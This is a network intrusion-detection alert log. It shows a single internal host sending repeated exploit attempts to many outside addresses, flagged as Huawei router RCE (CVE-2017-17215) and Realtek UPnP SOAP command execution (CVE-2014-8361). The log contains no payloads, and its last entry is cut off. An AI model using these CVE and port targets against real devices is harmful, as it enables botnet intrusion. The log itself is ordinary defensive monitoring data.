ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 130.69.123.40

Timestamp:	07/20/24-23:01:13.330072
SID:	2831300
Source Port:	34906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.84.150.154

Timestamp:	07/20/24-23:01:07.676921
SID:	2829579
Source Port:	35910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 60.101.77.2

Timestamp:	07/20/24-23:01:29.181762
SID:	2831300
Source Port:	47540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 79.163.84.245

Timestamp:	07/20/24-23:01:14.397066
SID:	2835222
Source Port:	33072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 216.194.71.61

Timestamp:	07/20/24-23:01:28.216939
SID:	2829579
Source Port:	49386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 167.127.222.117

Timestamp:	07/20/24-23:01:31.127464
SID:	2025132
Source Port:	40390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.83.18.173

Timestamp:	07/20/24-23:01:14.397263
SID:	2835222
Source Port:	38260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 190.120.169.109

Timestamp:	07/20/24-23:01:06.860208
SID:	2025132
Source Port:	45434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.175.131.141

Timestamp:	07/20/24-23:01:25.285323
SID:	2835222
Source Port:	59986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.223.41.37

Timestamp:	07/20/24-23:01:14.399761
SID:	2835222
Source Port:	41176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 38.255.110.243

Timestamp:	07/20/24-23:01:32.096393
SID:	2025132
Source Port:	38456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.94.246.106

Timestamp:	07/20/24-23:01:22.854824
SID:	2027339
Source Port:	40104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.9.245.89

Timestamp:	07/20/24-23:01:25.295701
SID:	2835222
Source Port:	55254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 20.43.107.217

Timestamp:	07/20/24-23:01:05.536738
SID:	2027339
Source Port:	46728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 84.167.36.221

Timestamp:	07/20/24-23:01:24.075564
SID:	2027339
Source Port:	56036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.249.217

Timestamp:	07/20/24-23:01:02.411645
SID:	2829579
Source Port:	57334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 174.109.179.10

Timestamp:	07/20/24-23:01:05.920528
SID:	2829579
Source Port:	38800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.107.88.82

Timestamp:	07/20/24-23:01:37.167957
SID:	2835222
Source Port:	35850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.99.10.85

Timestamp:	07/20/24-23:01:02.410541
SID:	2835222
Source Port:	59604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 199.150.19.53

Timestamp:	07/20/24-23:01:02.412914
SID:	2835222
Source Port:	50604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 66.251.168.249

Timestamp:	07/20/24-23:01:29.170361
SID:	2831300
Source Port:	49984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.33.138.117

Timestamp:	07/20/24-23:01:11.478032
SID:	2829579
Source Port:	54276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 173.171.125.50

Timestamp:	07/20/24-23:01:06.893375
SID:	2027339
Source Port:	39058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.51.43.95

Timestamp:	07/20/24-23:01:11.485692
SID:	2835222
Source Port:	55196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.85.103.215

Timestamp:	07/20/24-23:01:22.769838
SID:	2829579
Source Port:	49096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 118.150.115.134

Timestamp:	07/20/24-23:01:29.176022
SID:	2831300
Source Port:	38314
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.104.15.142

Timestamp:	07/20/24-23:01:07.680629
SID:	2829579
Source Port:	52560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.173.79.219

Timestamp:	07/20/24-23:01:37.222600
SID:	2829579
Source Port:	59382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.73.176.224

Timestamp:	07/20/24-23:01:05.895754
SID:	2829579
Source Port:	38858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.33.157.33

Timestamp:	07/20/24-23:01:07.676921
SID:	2835222
Source Port:	33826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 4.75.218.237

Timestamp:	07/20/24-23:01:28.216082
SID:	2829579
Source Port:	42630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.136.67.125

Timestamp:	07/20/24-23:01:32.478080
SID:	2027339
Source Port:	42640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.159.126.71

Timestamp:	07/20/24-23:01:05.898214
SID:	2829579
Source Port:	48926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.79.184.211

Timestamp:	07/20/24-23:01:25.283485
SID:	2835222
Source Port:	51298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 74.98.6.90

Timestamp:	07/20/24-23:01:33.840995
SID:	2025132
Source Port:	56826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.234.215.172

Timestamp:	07/20/24-23:01:33.043558
SID:	2829579
Source Port:	57248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 27.79.119.12

Timestamp:	07/20/24-23:01:13.330116
SID:	2831300
Source Port:	33078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 206.233.127.191

Timestamp:	07/20/24-23:01:13.331144
SID:	2027339
Source Port:	51914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 102.223.154.160

Timestamp:	07/20/24-23:01:07.363470
SID:	2027339
Source Port:	56402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 84.58.208.79

Timestamp:	07/20/24-23:01:05.911930
SID:	2829579
Source Port:	42442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 202.94.49.200

Timestamp:	07/20/24-23:01:34.914910
SID:	2831300
Source Port:	54968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.112.36.27

Timestamp:	07/20/24-23:01:07.666600
SID:	2835222
Source Port:	53446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 192.231.43.185

Timestamp:	07/20/24-23:01:32.111719
SID:	2027339
Source Port:	43070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 173.48.24.57

Timestamp:	07/20/24-23:01:34.919559
SID:	2831300
Source Port:	46974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 199.206.179.25

Timestamp:	07/20/24-23:01:32.573916
SID:	2025132
Source Port:	44588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 209.180.225.131

Timestamp:	07/20/24-23:01:06.853506
SID:	2027339
Source Port:	54450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.9.74.194

Timestamp:	07/20/24-23:01:07.664911
SID:	2829579
Source Port:	37038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 184.171.106.251

Timestamp:	07/20/24-23:01:24.075920
SID:	2027339
Source Port:	35942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.201.1.4

Timestamp:	07/20/24-23:01:28.143529
SID:	2829579
Source Port:	41218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 39.30.35.11

Timestamp:	07/20/24-23:01:24.508331
SID:	2027339
Source Port:	34050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.176.87.202

Timestamp:	07/20/24-23:01:33.050087
SID:	2829579
Source Port:	40538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.21.214

Timestamp:	07/20/24-23:01:19.231228
SID:	2829579
Source Port:	45324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.25.63.79

Timestamp:	07/20/24-23:01:07.658956
SID:	2829579
Source Port:	59164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.150.3.47

Timestamp:	07/20/24-23:01:05.920529
SID:	2829579
Source Port:	45310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 86.39.55.1

Timestamp:	07/20/24-23:01:33.059039
SID:	2829579
Source Port:	60986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.75.217.99

Timestamp:	07/20/24-23:01:25.287093
SID:	2829579
Source Port:	50206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.136.209.167

Timestamp:	07/20/24-23:01:05.892501
SID:	2829579
Source Port:	47282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.50.99.150

Timestamp:	07/20/24-23:01:07.684526
SID:	2829579
Source Port:	41188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.16.87

Timestamp:	07/20/24-23:01:25.298710
SID:	2835222
Source Port:	44148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.114.28

Timestamp:	07/20/24-23:01:14.440842
SID:	2835222
Source Port:	45696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.155.48.39

Timestamp:	07/20/24-23:01:05.895934
SID:	2835222
Source Port:	33982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.146.179.63

Timestamp:	07/20/24-23:01:14.400300
SID:	2835222
Source Port:	60388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 109.187.96.167

Timestamp:	07/20/24-23:01:19.223034
SID:	2835222
Source Port:	33640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 118.0.129.46

Timestamp:	07/20/24-23:01:02.411076
SID:	2835222
Source Port:	59868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 177.131.193.232

Timestamp:	07/20/24-23:01:34.940230
SID:	2831300
Source Port:	44122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.181.100.135

Timestamp:	07/20/24-23:01:33.094838
SID:	2835222
Source Port:	44230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 166.213.219.123

Timestamp:	07/20/24-23:01:24.833522
SID:	2025132
Source Port:	36028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 144.32.157.121

Timestamp:	07/20/24-23:01:33.376807
SID:	2025132
Source Port:	45678
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.55.49.211

Timestamp:	07/20/24-23:01:33.056745
SID:	2835222
Source Port:	47358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.140.241.183

Timestamp:	07/20/24-23:01:07.662924
SID:	2835222
Source Port:	40246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.55.85.107

Timestamp:	07/20/24-23:01:11.467529
SID:	2829579
Source Port:	53112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.201.136.184

Timestamp:	07/20/24-23:01:25.282254
SID:	2829579
Source Port:	54748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 108.4.150.168

Timestamp:	07/20/24-23:01:33.044521
SID:	2829579
Source Port:	56858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.160.188.126

Timestamp:	07/20/24-23:01:02.411663
SID:	2829579
Source Port:	47626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.44.132.242

Timestamp:	07/20/24-23:01:19.334332
SID:	2835222
Source Port:	58714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 128.98.160.122

Timestamp:	07/20/24-23:01:05.577225
SID:	2025132
Source Port:	59540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 156.230.140.45

Timestamp:	07/20/24-23:01:13.330651
SID:	2831300
Source Port:	39940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 64.117.200.225

Timestamp:	07/20/24-23:01:13.329793
SID:	2831300
Source Port:	42822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.114.237.10

Timestamp:	07/20/24-23:01:25.283565
SID:	2829579
Source Port:	46362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 181.129.237.7

Timestamp:	07/20/24-23:01:05.859411
SID:	2025132
Source Port:	45096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 108.68.173.47

Timestamp:	07/20/24-23:01:25.283565
SID:	2835222
Source Port:	46468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.33.204.45

Timestamp:	07/20/24-23:01:25.231958
SID:	2835222
Source Port:	45626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.77.31.163

Timestamp:	07/20/24-23:01:02.414137
SID:	2829579
Source Port:	57054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.230.166

Timestamp:	07/20/24-23:01:07.682290
SID:	2829579
Source Port:	39184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.4.192.144

Timestamp:	07/20/24-23:01:19.225050
SID:	2835222
Source Port:	44066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 167.169.213.136

Timestamp:	07/20/24-23:01:24.987343
SID:	2025132
Source Port:	58176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 160.191.28.144

Timestamp:	07/20/24-23:01:05.539673
SID:	2025132
Source Port:	43108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 216.167.162.18

Timestamp:	07/20/24-23:01:24.453373
SID:	2027339
Source Port:	55386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.104.77.122

Timestamp:	07/20/24-23:01:33.060990
SID:	2835222
Source Port:	38648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.234.173.201

Timestamp:	07/20/24-23:01:14.401003
SID:	2829579
Source Port:	54202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 124.185.245.199

Timestamp:	07/20/24-23:01:30.632085
SID:	2027339
Source Port:	57702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.139.78.105

Timestamp:	07/20/24-23:01:11.483526
SID:	2829579
Source Port:	41768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.191.120

Timestamp:	07/20/24-23:01:19.221490
SID:	2835222
Source Port:	40510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.138.54.130

Timestamp:	07/20/24-23:01:28.170987
SID:	2829579
Source Port:	52508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 186.224.19.191

Timestamp:	07/20/24-23:01:23.155941
SID:	2027339
Source Port:	45930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.83.254

Timestamp:	07/20/24-23:01:05.902118
SID:	2835222
Source Port:	41162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.213.197

Timestamp:	07/20/24-23:01:19.334827
SID:	2829579
Source Port:	40756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.185.193.64

Timestamp:	07/20/24-23:01:28.200134
SID:	2829579
Source Port:	57240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.215.212.184

Timestamp:	07/20/24-23:01:11.465612
SID:	2829579
Source Port:	58640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.255.114.130

Timestamp:	07/20/24-23:01:14.416273
SID:	2829579
Source Port:	52906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.25.51

Timestamp:	07/20/24-23:01:19.220430
SID:	2829579
Source Port:	33148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.95.181.167

Timestamp:	07/20/24-23:01:19.225050
SID:	2835222
Source Port:	54664
Destination Port:	37215
